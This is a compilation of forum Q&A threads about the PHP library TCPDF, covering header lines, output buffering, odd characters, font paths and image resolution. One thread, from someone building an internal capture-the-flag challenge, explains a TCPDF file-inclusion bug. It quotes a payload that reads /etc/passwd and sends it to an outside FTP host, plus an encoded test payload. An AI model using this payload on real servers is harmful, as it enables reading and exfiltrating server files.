I have been using TCPDF for sometime. It's simple to use, outputs low size PDF and is under active development.
Following is the code for a page which should only have Hello World and a footer showing page number. However I get an additional Horizontal Line at the top of the page.It's bugging me. How do I get rid of it?
<?php
require_once('config/lang/eng.php');
require_once('tcpdf.php');
// create new PDF document
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
// set document information
$pdf->SetCreator(PDF_CREATOR);
// set default header data
// set header and footer fonts
$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, '', PDF_FONT_SIZE_MAIN));
$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA, '', PDF_FONT_SIZE_DATA));
// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
//set margins
//$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
//$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);//if i comment this out the lower line disappears
//set auto page breaks
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
//set image scale factor
//$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);
//set some language-dependent strings
$pdf->setLanguageArray($l);
// ---------------------------------------------------------
// set font
$pdf->SetFont('helvetica', '', 10);
// add a page
$pdf->AddPage();
// define some HTML content with style
$html = <<<EOF
Hello World
EOF;
// output the HTML content
$pdf->writeHTML($html, true, false, true, false, '');
// reset pointer to the last page
$pdf->lastPage();
// ---------------------------------------------------------
//Close and output PDF document
$pdf->Output('example_061.pdf', 'I');
?>
Solution:
$pdf->SetPrintHeader(false);
$pdf->SetPrintFooter(false);
Changing or eliminating Header & Footer in TCPDF
just do this $pdf->setPrintHeader(false); and the line at the top will go away
The horizontal line is defined on the default Header().
You can either override the Header() method as on example n. 3 or disable the header as on the example n. 2.
Check the TCPDF website at http://www.tcpdf.org and consult the official forum for further information.
In case this is not solved for anyone else here and they are using FPDI to import a template, try looking at the calculated page height from FPDI and the resultant page height from TCPDF. For me they did not match, and to get rid of the black line I had to add 8 to the page height, and subtract 7 from the y-ordinate value in the useTemplate function in addition to setPrintHeader(false), like this:
$tplidx = $pdf->ImportPage($i);
$s = $pdf->getTemplateSize($tplidx);
// TCPDF STUFF, AddPage(), etc.
$pdf->useTemplate($tplidx,0,-7,$s['w'],$s['h']+8);

I have a PHP project in which I use TCPDF. I had a PHP File which creates an HTML theme with bootstrap. Inside this file I include my pdfGeneration.php. It looks like that:
require_once('tcpdf/tcpdf.php');
$pdfAuthor = "Test";
$pdfName = "Test.pdf";
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetAuthor($pdfAuthor);
$pdf->SetTitle($pdfName);
$pdf->SetSubject($pdfName);
$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, '', PDF_FONT_SIZE_MAIN));
$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA, '', PDF_FONT_SIZE_DATA));
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);
$pdf->SetFont('dejavusans', '', 10);
$pdf->AddPage();
$htmlContent = 'Test';
$pdf->writeHTML($htmlContent, true, false, true, false, '');
ob_end_clean();
$outputFile = 'myServerPathHere';
$pdf->Output($outputFile, 'F');
echo '<span>PDF Creation finished. <a href="' . $outputFilePath . pdfName'" target='blank'>You can download the file here</a></span>';
If I don't include this pdfGeneration everything works fine. But when I include it I got only a blank white site with that span in it as a result. The rest of the HTML code that is located inside the file that includes the pdfGeneration is totally lost. I can't find an error?!
My goal is a site where the pdf is generated and in the best case, the pdf is directly opened in a new tab. I don't find a solution for that so I solved it with the link. But my first problem is the missing HTML.
Excuse my question, I found the error myself. The function "ob_end_clean(); " is the error. PHP Docs: ob_end_clean - Clean (erase) the output buffer and turn off output buffering. This probably causes the entire previously generated HTML code to be lost. If I remove the command it works.
I am making some challenges as part of an internal CTF that we are hosting. As part of the challenges, one of the things that I was planning on giving out was File Inclusion using a vulnerability in a certain version of TCPDF.
I was trying to follow the blog here to get an understanding of the bug itself:
File inclusion through broken TCPDF
I do understand the vulnerability in a nutshell, which is, that TCPDF, by default, has access to a special tag <tcpdf /> which allows execution of available TCPDF methods along with parameters.
So for example if :
<tcpdf method="some_method" params="abcd"/>
the above is passed to the writeHTML() TCPDF would call some_method() with the params abcd.
And to be able to read files, a specific TCPDF method called addTTFFont is going to be used which takes as params the following:
$fontfile – The file to grab from the server. Any readable file can
be selected.
$fonttype – Needs to be set to TrueType for the attack to work.
$outpath – Location for the output for the file.
By injecting a ftp-location, as the 3rd param, the file will be uploaded remotely.
Please correct me if my understanding is incorrect here.
Now, here's what I do not understand from the blog above. The line that says:
By generating a tcpdf-element using the following code:
$params = TCPDF_STATIC::serializeTCPDFtagParameters(array('/etc/passwd','TrueType','',255,urldecode('ftp://user:pass#host/')));
Now what is the author trying to explain in the above line ?
Also to be able to reproduce this vulnerability, here's what I tried :
Hosted a very simple (and of course vulnerable in many ways) app on my local Aapache server and used TCPDF V 6.1.1 as this was the version immediately before 6.2.0 in which the bug was patched.
The app simply allows users to register and login. On login user gets a page as and on clicking on the link in red, a PDF file is generated for the user with his name as :
where gogo was the user name.
Now below is the code that generates the PDF (gen_pdf.php):
<?php
session_start();
require_once('tcpdf_include.php');
if (isset($_SESSION['username'])){
// Extend the TCPDF class to create custom Header and Footer
class MYPDF extends TCPDF {
//Page header
public function Header() {
// Logo
$image_file = K_PATH_IMAGES.'logo_example.jpg';
$this->Image($image_file, 10, 10, 15, '', 'JPG', '', 'T', false, 300, '', false, false, 0, false, false, false);
// Set font
$this->SetFont('helvetica', 'B', 20);
// Title to right allignment
$this->Cell(0, 15, '<< The Machine v/s Samaritan >>', 1, false, '', 0, '', 0, false, 'T', 'M');
}
}
$pdf = new MYPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetAuthor('John Reese');
$pdf->SetTitle('The Machine Must Live');

$pdf->writeHTML($html);

I modified just this part of the above code :
$pdf->AddPage('P');
$html = $html."<div><h2>".$_SESSION['username']."</h2></div>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');
to this:
$pdf->AddPage('P');
$html = "<tcpdf method=\"addTTFFont\" params=\"%5B%22CHANGELOG.TXT%22%2C%22TrueType%22%2C%22%22%2C255%2C%22%5C%2Ftmp%5C%2Ftcpdf_bug.txt%22%5D\"/>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');
that is hardcoded the exploit payload (just to check if things are working), where CHANGELOG.TXT is a file already present in the same directory as gen_pdf.php
Output
No tcpdf_bug.txt file seems to be getting generated in \tmp.
What am I doing wrong here ? Please help me create this PoC.
I have issue with PDF generated from CKEditor.
I have some text typed in CKEditor:
HTML source:
Next, this text is saved in DB.
My CKEditor config looks like:
Further, above text is fetched from DB in controller, and PDF file is generated using TCPDF:
public function createRegulationPDF(){
require_once('TCPDF/tcpdf.php');
// create new PDF document
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
// set document information
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetPrintHeader(false);
$pdf->SetPrintFooter(false);
// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
// set image scale factor
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);
// set font
$pdf->SetFont('freeserif', '', 10);
// add a page
$pdf->AddPage();
// GET CONTENT FROM DB
$html = $this->view->settings['reg_statement'];
// output the HTML content
$pdf->writeHTML($html, true, false, true, false, '');
....
And the final point, generated PDF:
The question is: what is this weird (the box) selected char?
And how to avoid it?
I set up the main path for tcpdf like this:
define ('K_PATH_MAIN', '/MAMP/htdocs/tcpdf/');
and the url path like this:
define ('K_PATH_URL', 'http://localhost:8888/tcpdf/');
I'm using MAMP in mac. I'm receiving the follow error:
TCPDF ERROR: Could not include font definition file: helvetica
Looks like that the main path is wrong after all attempts I need help to put it right.
This is the follow code using, but the code is the example from tcpdf:
require_once('../config/lang/eng.php');

I need to code a PHP script that would let me generate a pdf file which displays a member ID card (something like a credit card used to identify oneself) at a certain resolution.
Let me explain:
I do have the basic blueprint of the card in png file format. The script needs to drop in a member's name and birthday along with a serial. So far, no problem - there are plenty of good working PHP libraries out there.
My problem is to ensure that the resulting pdf (the generated image of the card, to be precise) meets a certain resolution (preferably 300dpi), so that printing it would look right.
Any ideas?
EDIT
I solved it using the TCPDF library which lets you scale images at a certain resolution.

I would use Imagemagick for this purpose, along with Imagick to be able to access it directly from php.
You will then be able to take the original image, add some text to it, and output (or store) as pdf, with something like this:
$image = new Imagick($filename);
$draw = new ImagickDraw();
$draw->setFont($font);
$draw->setFontSize($fontSize);
$image->annotateImage($draw, $xpos, $ypos, $rotation, $text);
// Changes the dpi
$image->setImageResolution(200,200);
I can't find the correct code for outputting/storing it as pdf quickly, but that should be documented somewhere on the Imagemagick site.
